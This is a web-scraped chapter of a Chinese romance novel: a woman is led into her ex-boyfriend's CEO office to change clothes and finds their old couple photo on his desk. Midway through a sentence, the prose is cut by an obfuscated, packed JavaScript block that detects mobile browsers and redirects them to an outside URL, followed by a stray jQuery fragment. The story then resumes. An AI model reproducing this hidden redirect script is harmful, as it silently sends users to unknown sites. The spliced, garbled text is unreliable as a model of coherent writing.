八月的夏日正午,烈日炎炎,犹如蒸笼,迎面扑来的风都热的让人窒息。一踏入会议楼,周身温度瞬间下降,清凉感席卷全身,舒服的盛夏不觉小声轻哼。
其实她并没有看见祁佑白,阳光照在玻璃窗上反射的光线刺眼又炫晕,她站在室外根本看不清。
这个时间点,员工不是在吃饭就是在休息,会议楼内空荡荡的,与小汪助理聊天的时候,甚至还可以听见他们二人的回音。
小汪助理直接带着盛夏朝CEO的专属电梯走去。
盛夏在他按下楼层以后,惊讶地看向他:“我们坐普通员工的电梯就可以了。”
他笑了笑,俏皮地眨了下右眼:“没关系,这个时间没人,只要你不说我不说,没人会发现的。”
既然对方都这样说了,那盛夏也没道理拒绝,她走进去。
“看来你们君礼的工作氛围挺轻松的。”
小汪助理非常赞成地点点头:“对,我们祁总很体恤员工的,他是个为人宽厚的好老板。”
为人宽厚?
盛夏在脑海中回忆起大学时期的祁佑白来,大多时候冷冰冰的,根本懒得跟人发生争执,不是他脾气好,而是他根本谁都不在意。没想到多年过去,居然能从他的员工口中,听到为人宽厚这个评价。
她不禁轻笑了一声。
由于她此刻正沉浸在过去的回忆中,所以丝毫没注意到站在她身侧的小汪助理,转头不动声色地朝她看了一眼。
随着电梯发出“叮”的清响,六楼到了。
盛夏迈出电梯。
虽然早就做好了心理准备,可她还是被总裁办这一层气派不凡的的奢华装潢给震撼到了。
而且这么大的空间,就七八个人办公,真是要多爽有多爽,简直连家都不用回,随便找个地方支个床,生活条件不比家里差。
要不人家怎么说,宁愿坐在豪车里哭,也不愿意坐在自行车上笑呢?盛夏忽然有所顿悟,明白了小汪助理刚刚对祁佑白的评价。
有钱的大老板是挺宽厚的。
小汪带着盛夏朝一个方向走去。
路过几个秘书的办公区时,他简单介绍了一下她,盛夏微微一笑,就很平常的一个招呼而已,想不到这几个秘书非常热情,像来了大客户一样,热切的视线黏在她身上,就没离开过,奇怪的让她总觉得哪里不对劲。
小汪助理适时地清咳一声:“看什么啊,没见过美女吗?”
几位秘书这才不好意思起来,其中有个齐肩短发长得很可爱的女秘书朝盛夏抛了个媚眼,说道:“盛小姐,有什么需要帮忙的直接跟我们几个说就行哦!”
“哦,好,谢谢。”盛夏没想到,祁佑白这个冰块身边的人都这么热情。
小汪助理带着她继续向前走。
“让您见笑了盛小姐,他们没见过什么世面,就喜欢一群人围观美女,希望不会冒犯到您。”
盛夏弯弯嘴角:“果然是祁总的得力助理,你是怎么每一句话都能准确夸在我心坎儿上的?”
“瞧您说的,什么夸不夸的,我只是实话实说而已。”
说话间,二人已经走到了总裁办的门口。
盛夏还以为小汪助理领她去的地方是更衣室,一抬头,“总裁办公室”五个大字出现在她眼前,她头皮一麻,内心不禁慌张起来,眼见旁边的人将右手放在了门把上正要用手开门,盛夏情急之下“啪”地打开了他的手。
“?”
很清脆的一声响,小汪助理被打蒙了,整个人愣在原地三秒。他低头看了下手背上的红印子,又抬头不解地去看盛夏。
“嘿嘿,不好意思啊,你手上有蚊子。”
“……”
小汪助理推了推眼镜,确认自己眼睛没瞎之后,明白了过来。
“盛小姐,衣服放在祁总的办公室呢,你放心,他现在正在开会呢。”他扬扬下巴,朝盛夏示意。
盛夏顺着他的视线往另一个方向看去——
总裁办的斜对面,有一间很大的茶水室,茶水室的一侧是透明的玻璃墙,从她的角度正好能看到里面的情况。
有三个穿着酒店西装制服的年轻经理围站在祁佑白身侧,微微低头,其中一个人应该在低声汇报着工作。
而祁佑白没穿外套,只穿了一件白衬衫,外面套着一件灰色西装马甲,左手袖口处微微卷起,露出一只低调奢华的铂金表。他长腿交叠坐在黑色的真皮沙发上,骨节分明的双手拿着文件不紧不慢地在翻阅。
光线从他侧脸的方向打过来,加深了他的轮廓阴影,清俊冷冽的面孔上一副成熟稳重、沉静平和的模样。
纸张在他手中仿佛变成了艺术品……
这副画面竟让盛夏许久没有跳动的心脏重又开始跳动,扑通、扑通、扑通……她甚至能够准确地数清楚她心脏跳动的节拍。
“盛小姐?”
小汪助理的目光在两人之间来回打转。
“嗯?”盛夏回过神来,突然有些懊恼,她怎么又被祁佑白这副皮囊给迷惑住了?
“我们进去吧?趁祁总现在不在。”
盛夏点点头:"走吧",她主动上前一转把手,大门轻易打开,二人走了进去。
似有感应一般,茶水室内,本该认真听下属汇报的男人却在此刻走了神,几乎是在盛夏移开视线转过身体的那一霎,祁佑白缓缓抬起双眼,目光仿佛沾染了秋雨的冷冽,穿越过多年错失彼此的时光,牢牢锁定在那抹高挑的倩影上。
小汪助理进去后将她带到一间私人休息室,盛夏有些心不在焉,说道:“这样不太好吧?你瞒着你们祁总带我进来的?”
他笑了笑,将一件不知从哪儿拿过来的白衬衫递给了她:“我就在外面守着,放心,我们总裁一时半会儿结束不了。”
“哎……”
小汪助理关上门,走了。
盛夏叹息,心想祁佑白这变化也忒大了点,身边的助理都敢私自带外人偷用老板的办公室了,他也不怕她手脚不干净,顺点什么东西或偷点什么商业机密。
她脱下身上的外套,在确定休息室的帘子已经被贴心的小汪助理拉起来以后,速战速决换起了衣服。
可换着换着,怎么觉得有点不太对劲呢?
等她换完之后,走到全身镜那儿一照,她发现,肩膀处根本领不起来,这根本就是件男士衬衫!不过这倒不是要紧问题,她一个临时救急借衣服的,哪儿
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15425502|169146||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
还有那么多的讲究,干净能穿就行,大不了袖口多挽几圈,下摆扎裤腰里面。
就当穿oversize男友风格的衬衫了,盛夏不是个为难自己的人,再说,她的脸和身材在那儿摆着呢,披个破麻袋都不会丑。
收拾完自己之后,她又走到懒人椅那边,把沾染上咖啡液的西装外套折叠起来抱在怀里,然后四下张望,心想,毕竟当初是祁佑白先对不起她的,那么她现在在他办公室里偷一个不值钱的手提袋不过分吧?
不然她又得拿重要文件,又得拿西装外套,真的很不方便。
这样想着,盛夏开门走出去,外面,就是祁佑白日常工作的办公区。
以冷色调黑白灰为主色,干净整洁、一尘不染。办公桌旁还有一面巨大的落地窗,窗外,朝远处眺望,是君礼国际景色最美的月牙湖,往楼下看,是酒店内小有名气的月光花圃。
月光花圃,就是盛夏刚刚在楼下看到的那一片不知名的白色花,颜色不是纯白色,而像是皎洁的月色,散发的香味清淡冷冽,与如霜的月色特别般配,因此而得名“月光”花圃。
盛夏将目光收回来,目前可不是个赏花的好时机,她重新将心思投入到寻找手提袋的事情上,可偌大的一间办公室,除了堆积如山的文件、书籍,她竟找不到半个袋子的踪影。
就在她准备出去跟外面那个齐肩短发的可爱小秘书寻求帮助的时候,视线忽然被办公桌上两张熟悉的笑脸所吸引。
那是一个白金边的相框,相框里有个笑得春花烂漫,留着黑长直,面容稍显稚嫩的漂亮姑娘,不是她又是谁呢?
而旁边拥着她肩膀的男生,正是五年前的祁佑白,这张照片就是他们分手之前,去日照山看日出时拍的合照。
合照上的少年,宛若万年冰雪消融,嘴角眉梢都挂着明显的笑意。俩人穿着情侣款防晒衣,一蓝一粉,一高一低,亲密无间地挨在一起,郎才女貌、登对无比。
背景是一片淡紫色的花海,这种花周边外围都呈渐变的紫色,越往边缘走颜色越深,花心内部呈淡淡的白色,喜欢生长在阳光充足的环境中,所以盛开在夏季。
如果盛夏没有失忆的话,上午在酒店前厅,张总专门带她看的那一条玻璃连廊,栽培在两侧的花植,就是这种花,风铃花。
仿佛一切奇怪的事情都有了合理的指向,初见张总时,他频频投来的目光,他特意问起自己的专业,还有最后走时,专门和她提的建议。
恐怕还不止这些,一个总裁身边的贴身秘书,不在总裁身边工作,却能及时地注意到她被弄脏的衣服,带着她坐总裁的专属电梯,还那么大的胆子在总裁眼皮子底下让她偷用总裁的办公室和私人休息室。
盛夏忽然低头,摸了一下手中抱着的这件灰色西装,好像跟祁佑白的马甲一个色儿的。哦,对,还有她身上穿的衬衫,应该也十有八九不是什么劳什子女同事的。
想到这里,她把怀里的衣服随手扔在座椅上,然后掏出手机,在浏览器搜索栏中输入“风铃花的花语”这六个字,点击搜索,网页一秒刷新,盛夏看到了网上这样的回答——
解铃还须系铃人,一生只爱一个人。
远方的祝福,温柔的爱。